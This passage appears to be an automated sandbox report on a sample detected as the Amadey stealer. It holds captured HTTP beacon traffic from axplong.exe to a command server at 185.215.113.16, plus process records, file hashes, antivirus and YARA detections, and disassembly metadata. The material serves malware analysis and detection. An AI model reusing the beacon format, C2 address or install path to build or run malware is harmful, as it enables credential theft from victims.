                      Sep 27, 2024 07:03:19.984069109 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:20.697779894 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:20 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      75192.168.2.849787185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:20.811088085 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      76192.168.2.849788185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:20.829135895 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:21.645081043 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:21 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      77192.168.2.849789185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:21.769092083 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:22.467437029 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:22 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      78192.168.2.849790185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:22.493982077 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:23.207526922 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:23 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      79192.168.2.849791185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:23.326956034 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:24.034288883 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:23 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      80192.168.2.849792185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:24.043750048 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:24.932769060 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:24 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      81192.168.2.849793185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:25.047739029 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:25.774473906 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:25 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      82192.168.2.849794185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:25.784295082 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:26.516284943 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:26 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      83192.168.2.849795185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:26.647849083 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:27.350248098 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:27 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      84192.168.2.849796185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:27.359035015 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      85192.168.2.849797185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:27.484380007 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:03:28.183264017 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:28 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      86192.168.2.849798185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:03:28.192547083 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:03:28.900022030 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:03:28 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Statistics

                      CPU Usage

                      Click to jump to process

                      Memory Usage

                      Click to jump to process

                      High Level Behavior Distribution

                      Click to dive into process behavior distribution

                      Behavior

                      Click to jump to process

                      System Behavior

                      General

                      Target ID:0
                      Start time:01:01:22
                      Start date:27/09/2024
                      Path:C:\Users\user\Desktop\file.exe
                      Wow64 process (32bit):true
                      Commandline:"C:\Users\user\Desktop\file.exe"
                      Imagebase:0x3c0000
                      File size:1'929'216 bytes
                      MD5 hash:17DCD72D51948D374C79BE3A52BB647A
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Yara matches:
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1599973179.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1559809614.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                      Reputation:low
                      Has exited:true

                      General

                      Target ID:2
                      Start time:01:01:26
                      Start date:27/09/2024
                      Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Wow64 process (32bit):true
                      Commandline:"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
                      Imagebase:0xd10000
                      File size:1'929'216 bytes
                      MD5 hash:17DCD72D51948D374C79BE3A52BB647A
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Yara matches:
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1639117763.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1598600536.0000000005310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                      Antivirus matches:
                      • Detection: 100%, Avira
                      • Detection: 100%, Joe Sandbox ML
                      • Detection: 55%, ReversingLabs
                      Reputation:low
                      Has exited:true

                      General

                      Target ID:3
                      Start time:01:01:26
                      Start date:27/09/2024
                      Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Wow64 process (32bit):true
                      Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Imagebase:0xd10000
                      File size:1'929'216 bytes
                      MD5 hash:17DCD72D51948D374C79BE3A52BB647A
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Yara matches:
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1600539276.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1644644510.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                      Reputation:low
                      Has exited:true

                      General

                      Target ID:7
                      Start time:01:02:00
                      Start date:27/09/2024
                      Path:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Wow64 process (32bit):true
                      Commandline:C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      Imagebase:0xd10000
                      File size:1'929'216 bytes
                      MD5 hash:17DCD72D51948D374C79BE3A52BB647A
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Yara matches:
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1935678537.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                      Reputation:low
                      Has exited:false

                      Disassembly

                      Reset < >

                        Executed Functions

                        Function 051102FB Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 1a19d64eb65a201adba7ed4b7f08cd9ccf09169cfe94be121d6e77b595eb8fe6
                        • Instruction ID: b341da6ad304f6a71fdcfefdd1f58c0b5447701e3d148a677651dd1ada7f6419
                        • Opcode Fuzzy Hash: 1a19d64eb65a201adba7ed4b7f08cd9ccf09169cfe94be121d6e77b595eb8fe6
                        • Instruction Fuzzy Hash: BB21C9FB51C111AFA256C5815B5C9FB3B2EE6CA73073284BAFC42C5403D3954E994139
                        Function 05110386 Relevance: 1.4, Strings: 1, Instructions: 122COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 94d671667aa748322cc3302067affd357869bf09c0f2344063c92a4febfe4c12
                        • Instruction ID: ff13bfd022b0a25b53e89849c6503baf60a7f545d2c7fae2cc9a301ef171da02
                        • Opcode Fuzzy Hash: 94d671667aa748322cc3302067affd357869bf09c0f2344063c92a4febfe4c12
                        • Instruction Fuzzy Hash: 1E21A3EB95C110AF6166C5815A9CEFB2B2EE5CA73033284B6FC43C5502E3944ECA5479
                        Function 05110330 Relevance: 1.4, Strings: 1, Instructions: 118COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 153ee373839cf1c5f1139c706496da84e2c74d5d67101ff8578b3f47c62023f6
                        • Instruction ID: a15d42d33f8d4077e6e1e65c6716220e2764c8c4e73e8901eac6da8677c20930
                        • Opcode Fuzzy Hash: 153ee373839cf1c5f1139c706496da84e2c74d5d67101ff8578b3f47c62023f6
                        • Instruction Fuzzy Hash: 2921E9FA50D251AFE212C6919F5C9FB3B2EE6CA73073184BBF842C6443D3940A894135
                        Function 05110321 Relevance: 1.4, Strings: 1, Instructions: 113COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 9ed2a57729cd0676dc0e8cfc25512af04f198f43d2aac85079d01cdce1818d59
                        • Instruction ID: cbb3614d96b4dae7cd451e4db283c938206c7e0403feaaf0df1ec2fdcbb472d8
                        • Opcode Fuzzy Hash: 9ed2a57729cd0676dc0e8cfc25512af04f198f43d2aac85079d01cdce1818d59
                        • Instruction Fuzzy Hash: 6B2180EB91C110BF6166C5815B5CDFB2B2EE5CA73033284B6FC42D6902E3944ECA5579
                        Function 0511036B Relevance: 1.4, Strings: 1, Instructions: 108COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 3c6f6406f5dc5437c5da85fe9a20940bfb2b913ee0740b2d5b9d7837e5d304a4
                        • Instruction ID: 26b3e5e37f382f29625600ec1cac336e21b6edfebe4edc2225dc6221c8166d15
                        • Opcode Fuzzy Hash: 3c6f6406f5dc5437c5da85fe9a20940bfb2b913ee0740b2d5b9d7837e5d304a4
                        • Instruction Fuzzy Hash: 0B2162EBA1C110BFA256C5815F5C9FA6B3EE5DA23033284B6FC42C6407E3954ECA553A
                        Function 051103D0 Relevance: 1.4, Strings: 1, Instructions: 101COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: b44a23b74072931d0910c81ea333e9e6a7b9b674abce3160864bf72af973c07d
                        • Instruction ID: 1c6143c3051da9ee3ac5b9ba69d72ddb712b7229441fd1166eef45190937d410
                        • Opcode Fuzzy Hash: b44a23b74072931d0910c81ea333e9e6a7b9b674abce3160864bf72af973c07d
                        • Instruction Fuzzy Hash: 1F11A2EB918110BFA122C5816F9C9FB6B2EE5C9630332C4B6FC42C5806E3944E8A4539
                        Function 051103BE Relevance: 1.3, Strings: 1, Instructions: 77COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: bd2acf3b71d6f322fd11a4cbeb1a166bd14def62336ac4e14393c91062af4a31
                        • Instruction ID: a2d85b00d38eea3242165c4f9fd69c60a73917bfc9c2db0ca04e31eb163dfba0
                        • Opcode Fuzzy Hash: bd2acf3b71d6f322fd11a4cbeb1a166bd14def62336ac4e14393c91062af4a31
                        • Instruction Fuzzy Hash: 790161FB948114BFA161D6819F9C9FB6B3EF5D973033284B6F842C5802E3A44EDA4539
                        Function 05110406 Relevance: 1.3, Strings: 1, Instructions: 55COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: a03eae479f2f3f886b3f70d123e0f4906ca9c796ff16fc9e9b920105152e44aa
                        • Instruction ID: a92a15f0c0ab559c9cbcd751353992912657151e4cf07deb2bb14d43389b7f8c
                        • Opcode Fuzzy Hash: a03eae479f2f3f886b3f70d123e0f4906ca9c796ff16fc9e9b920105152e44aa
                        • Instruction Fuzzy Hash: 0D01FCB65082119FC3629651899C5F77B36F98623033140BAF48287803D3550ED58629
                        Function 051103F8 Relevance: 1.3, Strings: 1, Instructions: 53COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 574936c32e116b924525bf929343e8e2b99e34eabf611db38e784532cc9c08f8
                        • Instruction ID: 4fc5da97b5fe454c14e183beb43db197c0b4a1e46f07abae532f609382327bb8
                        • Opcode Fuzzy Hash: 574936c32e116b924525bf929343e8e2b99e34eabf611db38e784532cc9c08f8
                        • Instruction Fuzzy Hash: 81F028BAA0C110EF9162D5819FCC5FB3B26F9C923033284F6F84286802E7944EC6453E
                        Function 0511042A Relevance: 1.3, Strings: 1, Instructions: 44COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000000.00000002.1602143372.0000000005110000.00000040.00001000.00020000.00000000.sdmp, Offset: 05110000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_0_2_5110000_file.jbxd
                        Similarity
                        • API ID:
                        • String ID: f!/v
                        • API String ID: 0-2919020400
                        • Opcode ID: 2df1bd5bf746ac2cfef051265bd49f50c8b2db572f667bc0d1baeb11417b1e27
                        • Instruction ID: ff3ef426414b5617648c4622b896456a178908387ae4c9d47a0f1e3d778acdb1
                        • Opcode Fuzzy Hash: 2df1bd5bf746ac2cfef051265bd49f50c8b2db572f667bc0d1baeb11417b1e27
                        • Instruction Fuzzy Hash: 93F0FCA9508250DFC2629691868C5FA3B26FA9623033144FDF88246803E7940A9A4629
